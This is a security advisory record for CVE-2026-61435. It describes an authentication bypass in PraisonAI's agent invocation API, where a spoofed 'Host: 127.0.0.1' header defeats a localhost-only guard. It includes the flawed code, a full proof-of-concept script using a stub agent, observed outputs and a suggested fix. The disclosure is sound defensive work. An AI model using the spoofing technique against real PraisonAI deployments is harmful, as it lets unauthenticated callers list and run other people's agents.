CVE-2026-61435: PraisonAI Authentication Bypass Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-2gpf-2492-q9jh",
  "modified" : "2026-10-08T19:36:27Z",
  "published" : "2026-10-08T19:36:26Z",
  "aliases" : [ "CVE-2026-61435" ],
  "summary" : "PraisonAI: Call API localhost-only authentication bypass via spoofed Host header",
  "details" : "# Call API localhost-only authentication bypass via spoofed Host header\n\n## Summary\n\nPraisonAI's patched `PRAISONAI_CALL_AUTH=disabled` safeguard for the n8n/call agent invocation API can be bypassed with a spoofed `Host: 127.0.0.1` header, allowing an unauthenticated network caller to list and invoke registered agents when the service is reachable and the opt-out is enabled.\n\n## Technical Details\n\nThe affected code is `src/praisonai/praisonai/api/agent_invoke.py`. `verify_token()` is used as a FastAPI dependency for the `/api/v1/agents` routes, including `POST /api/v1/agents/{agent_id}/invoke`. Current code no longer unconditionally skips authentication when `PRAISONAI_CALL_AUTH=disabled`; it tries to allow that opt-out only for localhost binding:\n\n```python\n_LOCALHOST_HOSTS = frozenset({'127.0.0.1', 'localhost', '::1'})\n\ndef _bind_host_from_request(request: Request) -> str:\n    host = getattr(getattr(request, 'url', None), 'hostname', None)\n    return host or os.getenv('PRAISONAI_CALL_BIND_HOST', '127.0.0.1')\n\nasync def verify_token(request: Request, authorization: Optional[str] = Header(None)) -> None:\n    if _call_auth_disabled():\n        bind_host = _bind_host_from_request(request)\n        if bind_host not in _LOCALHOST_HOSTS:\n            raise HTTPException(\n                status_code=503,\n                detail=\"PRAISONAI_CALL_AUTH=disabled is only permitted for localhost binding\",\n            )\n        return\n```\n\nThe violated invariant is that \"localhost binding\" must be a server-owned startup or socket property. The implementation instead reads `request.url.hostname`, which is derived from the HTTP Host header for the current request. A remote caller can therefore send `Host: 127.0.0.1` and make the disabled-auth guard believe the request is for a localhost-bound service.\n\nThe protected sink is agent execution. After `verify_token()` returns, `invoke_agent()` retrieves the registered agent and calls `agent.astart(request.message)` or `agent.start(request.message)`. The same router is mounted by the PraisonAI serve feature, which imports `praisonai.api.agent_invoke`, includes `agent_invoke.router`, and registers YAML agents into the same registry.\n\nThis is not a default-configuration exposure claim. The deployment must enable `PRAISONAI_CALL_AUTH=disabled` and the API must be reachable over the network. The issue is that the patched safeguard intended to constrain that opt-out to localhost can be bypassed by client-controlled request metadata.\n\n## PoV\n\nthe PoV builds an in-process FastAPI app with the real `agent_invoke.router`, registers a harmless stub agent, and sends three no-token requests. The important input is the final request: it is modeled as an external client but sends `Host: 127.0.0.1`.\n\n```python\ndisabled_client = TestClient(app, base_url=\"http://external.example\")\n\nexternal_host = disabled_client.get(\n    \"/api/v1/agents\",\n    headers={\"host\": \"external.example\"},\n)\nspoofed_localhost_list = disabled_client.get(\n    \"/api/v1/agents\",\n    headers={\"host\": \"127.0.0.1\"},\n)\nspoofed_localhost_invoke = disabled_client.post(\n    \"/api/v1/agents/pov-agent/invoke\",\n    headers={\"host\": \"127.0.0.1\"},\n    json={\"message\": \"host-header-bypass\"},\n)\n```\n\nExpected secure behavior is for both no-token requests in disabled-auth mode to be rejected when the service is not actually loopback-only. Actual behavior rejects `Host: external.example` with `503`, but accepts the spoofed localhost Host with `200` and invokes the stub agent.\n\nThe complete PoV script is in Appendix A.\n\n## PoC\n\nRun from a PraisonAI checkout with the Appendix A script saved as `pov_call_auth_host_spoof.py`:\n\n```bash\ngit checkout v4.6.62\nuv run --with fastapi --with httpx python pov_call_auth_host_spoof.py .\n```\n\nObserved `v4.6.62` output:\n\n```json\n{\n  \"disabled_auth_external_host_status\": 503,\n  \"disabled_auth_spoofed_localhost_invoke_status\": 200,\n  \"disabled_auth_spoofed_localhost_list_status\": 200,\n  \"fail_closed_without_token_status\": 503,\n  \"repo_head\": \"2a855c470077c7d2e2479a575f7ef7f548d51c33\",\n  \"spoofed_localhost_invoke_body\": {\n    \"metadata\": {\n      \"agent_id\": \"pov-agent\",\n      \"message_length\": 18,\n      \"response_length\": 33\n    },\n    \"result\": \"stub-agent-ran:host-header-bypass\",\n    \"session_id\": \"default\",\n    \"status\": \"success\"\n  },\n  \"stub_agent_calls\": [\n    \"host-header-bypass\"\n  ],\n  \"vulnerable\": true\n}\n```\n\nRun the same script against current main:\n\n```bash\ngit checkout 846568c7a5d8ce9e71e56e4c213f027c04909753\nuv run --with fastapi --with httpx python pov_call_auth_host_spoof.py .\n```\n\nObserved current-head output:\n\n```json\n{\n  \"disabled_auth_external_host_status\": 503,\n  \"disabled_auth_spoofed_localhost_invoke_status\": 200,\n  \"disabled_auth_spoofed_localhost_list_status\": 200,\n  \"fail_closed_without_token_status\": 503,\n  \"repo_head\": \"846568c7a5d8ce9e71e56e4c213f027c04909753\",\n  \"spoofed_localhost_invoke_body\": {\n    \"metadata\": {\n      \"agent_id\": \"pov-agent\",\n      \"message_length\": 18,\n      \"response_length\": 33\n    },\n    \"result\": \"stub-agent-ran:host-header-bypass\",\n    \"session_id\": \"default\",\n    \"status\": \"success\"\n  },\n  \"stub_agent_calls\": [\n    \"host-header-bypass\"\n  ],\n  \"vulnerable\": true\n}\n```\n\nThe negative controls are the first two status fields. With default authentication and no token, the API fails closed with `503`. With `PRAISONAI_CALL_AUTH=disabled`, an ordinary external Host is also rejected with `503`. Only the spoofed localhost Host passes the guard and reaches agent execution.\n\n## Impact\n\nAn unauthenticated caller who can reach a PraisonAI call/serve API with `PRAISONAI_CALL_AUTH=disabled` can bypass the intended localhost-only restriction by setting `Host: 127.0.0.1`. The PoV demonstrates both agent listing and direct invocation of a registered agent through `/api/v1/agents/{agent_id}/invoke`.\n\nImpact depends on the registered agents. In realistic deployments, agents may have tools, private context, workflow integrations, browser/file/API access, or paid model access. The same dependency also protects other agent registry routes, so the bypass undermines the access-control boundary for the mounted `/api/v1/agents` API family.\n\nSuggested CWE: `CWE-287` Improper Authentication and `CWE-346` Origin Validation Error, with `CWE-306` Missing Authentication for Critical Function also applicable to the bypassed protected action.\n\nSuggested CVSS v3.1: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N` (8.2). Confidentiality is scored Low because the PoV proves agent listing and invocation; higher confidentiality impact depends on deployed agents and their private context.\n\n## Suggested Fix\n\nDo not derive bind safety from `Request.url`, the HTTP Host header, or any request-header-derived value. If `PRAISONAI_CALL_AUTH=disabled` remains supported, decide whether it is allowed at startup from server-owned configuration, such as the actual configured bind host passed to Uvicorn or the serving command, and refuse to start in disabled-auth mode when the configured bind host is not loopback.\n\nConsider removing the HTTP auth opt-out entirely for network routes, or replacing it with an explicit local-development mode that is only available when the process is bound to `127.0.0.1`, `localhost`, or `::1`.\n\nRegression tests should exercise real ASGI requests rather than only synthetic request objects. Include a test where `PRAISONAI_CALL_AUTH=disabled`, the modeled server configuration is non-loopback, and the request sends `Host: 127.0.0.1`; the expected result should be rejection before any agent list or invoke handler runs.\n\n## Affected Package/Versions\n\nAffected package: `praisonai` on PyPI.\n\nConfirmed affected:\n\n- `v4.6.62` at `2a855c470077c7d2e2479a575f7ef7f548d51c33`\n- current main at `846568c7a5d8ce9e71e56e4c213f027c04909753`, version file still reporting `4.6.62`\n\n`v4.6.60` had the older unconditional `PRAISONAI_CALL_AUTH=disabled` bypass and is covered by a different public advisory. This report is for the patched guard shape present in `v4.6.62` and current main. If `v4.6.61` contains the same Host-derived guard, the affected lower bound likely starts there, but I could not confirm that tag locally.\n\nFixed version: unknown.\n\n## Advisory History\n\nI checked the repository advisory list available through GitHub and found adjacent but distinct advisories:\n\n- `GHSA-86qc-r5v2-v6x6`: call server unauthenticated agent listing/invocation/deletion when `CALL_SERVER_TOKEN` is unset in older releases. Current code fails closed when no token is configured; this report requires the patched `PRAISONAI_CALL_AUTH=disabled` localhost guard and a spoofed Host header.\n- `GHSA-8ccj-p46r-jwqq`: `PRAISONAI_CALL_AUTH=disabled` unconditionally disabled authentication in older releases and is listed as patched in `>= 4.6.61`. This report shows `v4.6.62` and current main are still bypassable through the new guard because the guard trusts `request.url.hostname`.\n- `GHSA-vmf9-xx9w-86wx`: legacy SSE MCP transport accepts attacker Host/Origin and exposes registered tools through `praisonaiagents.mcp.ToolsMCPServer.run_sse()`, `/sse`, and `/messages/`. That advisory affects `praisonaiagents >= 0.6.0, < 1.6.58` and `praisonai >= 3.10.0, < 4.6.58`, with patches listed as `praisonaiagents >= 1.6.59` and `praisonai >= 4.6.59`. This report targets a different package call path in `praisonai.api.agent_invoke.verify_token()` and `/api/v1/agents/{agent_id}/invoke`, confirmed in `praisonai v4.6.62` and current main after the GHSA-vmf9 patched range. The preconditions are also different: GHSA-vmf9 is a browser/DNS-rebinding style Host/Origin issue against a local or internal legacy SSE MCP server, while this report requires `PRAISONAI_CALL_AUTH=disabled` on the call/n8n agent API and bypasses its localhost-only opt-out guard with `Host: 127.0.0.1`; no browser Origin, DNS rebinding setup, SSE transport, or MCP tool server is involved.\n- `GHSA-x8cv-xmq7-p8xp`: `AgentTeam.launch()` unauthenticated API. That advisory covers `praisonaiagents` `AgentTeam.launch()` routes, not `praisonai.api.agent_invoke.verify_token()`.\n- `GHSA-5qw8-f2g9-ff29`: Recipe server Typer command bypasses a non-localhost authentication guard. That is a different server and CLI path. This report targets the call API's Host-derived guard input.\n\nNo advisory I found describes Host-header spoofing against the patched `PRAISONAI_CALL_AUTH=disabled` localhost guard in `praisonai.api.agent_invoke`.\n\n## References\n\n- `src/praisonai/praisonai/api/agent_invoke.py`\n- `src/praisonai/praisonai/cli/features/serve.py`\n- `GHSA-86qc-r5v2-v6x6`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-86qc-r5v2-v6x6\n- `GHSA-8ccj-p46r-jwqq`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-8ccj-p46r-jwqq\n- `GHSA-vmf9-xx9w-86wx`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-vmf9-xx9w-86wx\n- `GHSA-x8cv-xmq7-p8xp`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x8cv-xmq7-p8xp\n- `GHSA-5qw8-f2g9-ff29`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-5qw8-f2g9-ff29\n\n## Appendix A - Full PoV Script\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoV for PraisonAI call API Host-header localhost guard bypass.\"\"\"\n\nfrom __future__ import annotations\n\nimport importlib\nimport json\nimport os\nimport sys\nfrom pathlib import Path\nfrom typing import Any\n\n\ndef _repo_root() -> Path:\n    if len(sys.argv) == 2:\n        return Path(sys.argv[1]).resolve()\n    return Path.cwd().resolve()\n\n\ndef _load_agent_invoke(repo_root: Path, auth_disabled: bool):\n    os.environ.pop(\"CALL_SERVER_TOKEN\", None)\n    if auth_disabled:\n        os.environ[\"PRAISONAI_CALL_AUTH\"] = \"disabled\"\n    else:\n        os.environ.pop(\"PRAISONAI_CALL_AUTH\", None)\n\n    package_root = repo_root / \"src\" / \"praisonai\"\n    if not package_root.exists():\n        raise SystemExit(f\"missing PraisonAI package root: {package_root}\")\n    package_root_s = str(package_root)\n    if package_root_s not in sys.path:\n        sys.path.insert(0, package_root_s)\n\n    import praisonai.api.agent_invoke as agent_invoke\n\n    agent_invoke = importlib.reload(agent_invoke)\n    agent_invoke._agent_registry.clear()\n    return agent_invoke\n\n\nclass StubAgent:\n    def __init__(self) -> None:\n        self.calls: list[str] = []\n\n    def start(self, message: str) -> str:\n        self.calls.append(message)\n        return f\"stub-agent-ran:{message}\"\n\n\ndef _make_client(agent_invoke: Any):\n    from fastapi import FastAPI\n    from fastapi.testclient import TestClient\n\n    app = FastAPI()\n    app.include_router(agent_invoke.router)\n    return TestClient(app, base_url=\"http://external.example\")\n\n\ndef main() -> int:\n    repo_root = _repo_root()\n\n    fail_closed_mod = _load_agent_invoke(repo_root, auth_disabled=False)\n    fail_closed_client = _make_client(fail_closed_mod)\n    fail_closed = fail_closed_client.get(\n        \"/api/v1/agents\",\n        headers={\"host\": \"127.0.0.1\"},\n    )\n\n    disabled_mod = _load_agent_invoke(repo_root, auth_disabled=True)\n    agent = StubAgent()\n    disabled_mod.register_agent(\"pov-agent\", agent)\n    disabled_client = _make_client(disabled_mod)\n\n    external_host = disabled_client.get(\n        \"/api/v1/agents\",\n        headers={\"host\": \"external.example\"},\n    )\n    spoofed_localhost_list = disabled_client.get(\n        \"/api/v1/agents\",\n        headers={\"host\": \"127.0.0.1\"},\n    )\n    spoofed_localhost_invoke = disabled_client.post(\n        \"/api/v1/agents/pov-agent/invoke\",\n        headers={\"host\": \"127.0.0.1\"},\n        json={\"message\": \"host-header-bypass\"},\n    )\n\n    result = {\n        \"repo_head\": _git(repo_root, \"rev-parse\", \"HEAD\"),\n        \"fail_closed_without_token_status\": fail_closed.status_code,\n        \"disabled_auth_external_host_status\": external_host.status_code,\n        \"disabled_auth_spoofed_localhost_list_status\": spoofed_localhost_list.status_code,\n        \"disabled_auth_spoofed_localhost_invoke_status\": spoofed_localhost_invoke.status_code,\n        \"spoofed_localhost_invoke_body\": _safe_json(spoofed_localhost_invoke),\n        \"stub_agent_calls\": agent.calls,\n    }\n\n    expected = (\n        fail_closed.status_code == 503\n        and external_host.status_code == 503\n        and spoofed_localhost_list.status_code == 200\n        and spoofed_localhost_invoke.status_code == 200\n        and agent.calls == [\"host-header-bypass\"]\n    )\n    result[\"vulnerable\"] = expected\n    print(json.dumps(result, indent=2, sort_keys=True))\n    return 0 if expected else 1\n\n\ndef _safe_json(response: Any) -> Any:\n    try:\n        return response.json()\n    except Exception:\n        return response.text\n\n\ndef _git(repo_root: Path, *args: str) -> str:\n    import subprocess\n\n    return subprocess.check_output(\n        [\"git\", \"-C\", str(repo_root), *args],\n        text=True,\n        stderr=subprocess.DEVNULL,\n    ).strip()\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "praisonai"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.6.78"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.6.77"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2gpf-2492-q9jh"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-61435"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-62174"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/commit/2a855c470077c7d2e2479a575f7ef7f548d51c33"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/commit/846568c7a5d8ce9e71e56e4c213f027c04909753"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/MervinPraison/PraisonAI"
  }, {
    "type" : "WEB",
    "url" : "https://www.vulncheck.com/advisories/praisonai-before-authentication-bypass-via-host-header-spoofing"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-287", "CWE-306", "CWE-346" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-08T19:36:26Z",
    "nvd_published_at" : "2026-07-15T17:16:52Z"
  }
}